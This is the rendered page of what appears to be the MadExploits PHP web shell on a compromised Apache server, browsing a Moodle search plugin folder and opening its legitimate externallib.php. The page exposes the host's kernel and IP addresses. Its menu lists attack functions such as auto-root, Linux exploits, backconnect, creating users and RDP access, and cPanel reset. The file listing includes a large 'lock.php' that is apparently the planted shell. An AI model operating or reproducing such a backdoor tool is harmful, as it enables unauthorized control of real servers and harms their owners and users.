Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.6.165
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
search /
engine /
elastic /
[ HOME SHELL ]
Name
Size
Permission
Action
.github
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
LICENSE
34.32
KB
-rw-r--r--
README.md
15.33
KB
-rw-r--r--
cloud.php
25.87
KB
-rw-r--r--
enrich.php
1.99
KB
-rw-r--r--
externallib.php
7.47
KB
-rw-r--r--
lib.php
2.02
KB
-rw-r--r--
lock.php
358.07
KB
-rw-r--r--
settings.php
6.04
KB
-rw-r--r--
upgrade.txt
364
B
-rw-r--r--
version.php
1.24
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : externallib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Elasticsearch Web Service * * @package search_elastic * @copyright 2017 Matt Porritt <mattp@catalyst-au.net> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->libdir . "/externallib.php"); use core_search\manager; /** * Elasticsearch Web Service * * @package search_elastic * @copyright 2017 Matt Porritt <mattp@catalyst-au.net> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class search_elastic_external extends external_api { /** * Returns description of method parameters * @return external_function_parameters */ public static function search_parameters() { return new external_function_parameters ( array ( 'q' => new external_value(PARAM_TEXT, 'The search query', VALUE_DEFAULT, '*'), 'timestart' => new external_value(PARAM_INT, 'Return results newer than this. Value in seconds since Epoch', VALUE_DEFAULT, 0 ), 'timeend' => new external_value(PARAM_INT, 'Return results older than this. Value in seconds since Epoch', VALUE_DEFAULT, 0 ), 'title' => new external_value(PARAM_TEXT, 'Show results that match this title', VALUE_DEFAULT, ''), 'limit' => new external_value(PARAM_TEXT, 'Limit results to this number', VALUE_DEFAULT, '100'), 'courseids' => new external_multiple_structure( new external_value(PARAM_INT, 'Course ids'), 'List of course ids. If empty return all courses.', VALUE_OPTIONAL), 'areaids' => new external_multiple_structure( new external_value(PARAM_TEXT, 'Area ids'), 'List of area ids. If empty return all areas.', VALUE_OPTIONAL ), ) ); } /** * Returns search results * * @param string $q The search string. * @param integer $timestart Return results newer than this. * @param integer $timeend Return results older than this. * @param string $title Show results that match this title. * @param integer $limit Limit results to this number. * @param array $courseids Course ids. * @param array $areaids Searcharea ids. * @throws moodle_exception * @return array $docs The search results */ public static function search($q, $timestart, $timeend, $title, $limit, $courseids=array(), $areaids=array()) { global $USER; // Parameter validation. // This feels dumb and the docs are vague, buy it is required. $params = self::validate_parameters(self::search_parameters(), array('q' => $q, 'timestart' => $timestart, 'timeend' => $timeend, 'title' => $title, 'limit' => $limit, 'courseids' => $courseids, 'areaids' => $areaids, )); // Context validation. $context = context_user::instance($USER->id); self::validate_context($context); // Capability checking. if (!has_capability('moodle/search:query', $context)) { throw new moodle_exception('cannot_search'); } // Execute search. $search = \core_search\manager::instance(); $results = $search->search((object)$params, $params['limit']); // Process the results. $docs = array(); foreach ($results as $result) { $docs[] = $result->export_for_webservice(); } return $docs; } /** * Returns description of method result value * @return external_description */ public static function search_returns() { return new external_multiple_structure( new external_single_structure( array( 'componentname' => new external_value(PARAM_TEXT, 'The name of the document'), 'areaname' => new external_value(PARAM_TEXT, 'the search area the document is associated with'), 'courseurl' => new external_value(PARAM_RAW, 'URL of course associated with result'), 'coursefullname' => new external_value(PARAM_TEXT, 'Full name of course associated with result'), 'modified' => new external_value(PARAM_TEXT, 'Time document was last modified'), 'title' => new external_value(PARAM_TEXT, 'The tile of the result document'), 'docurl' => new external_value(PARAM_RAW, 'The direct link to the document resource'), 'content' => new external_value(PARAM_RAW, 'The content of the result'), 'contexturl' => new external_value(PARAM_RAW, 'URL of the result context'), 'description1' => new external_value(PARAM_TEXT, 'Extra data fields for result'), 'description2' => new external_value(PARAM_TEXT, 'Extra data fields for result'), ) ) ); } /** * Returns description of method parameters * @return external_function_parameters */ public static function search_areas_parameters() { return new external_function_parameters ( array ( 'enabled' => new external_value(PARAM_BOOL, 'Return only enabled search areas', VALUE_DEFAULT, false) ) ); } /** * Returns search area ids. * * @param bool $enabled return only enabled search areas * @throws moodle_exception * @return \core_search\base[] $results The search area ids */ public static function search_areas($enabled) { global $USER; // Parameter validation. // This feels dumb and the docs are vague, buy it is required. $params = self::validate_parameters(self::search_areas_parameters(), array('enabled' => $enabled)); // Context validation. $context = context_user::instance($USER->id); self::validate_context($context); // Capability checking. if (!has_capability('moodle/search:query', $context)) { throw new moodle_exception('cannot_search'); } // Execute search. $search = \core_search\manager::instance(); $results = $search->get_search_areas_list($params['enabled']); return $results; } /** * Returns description of method result value * @return external_description */ public static function search_areas_returns() { return new external_multiple_structure( new external_single_structure( array('areaid' => new external_value(PARAM_TEXT, 'The search area ID')) ) ); } }
Close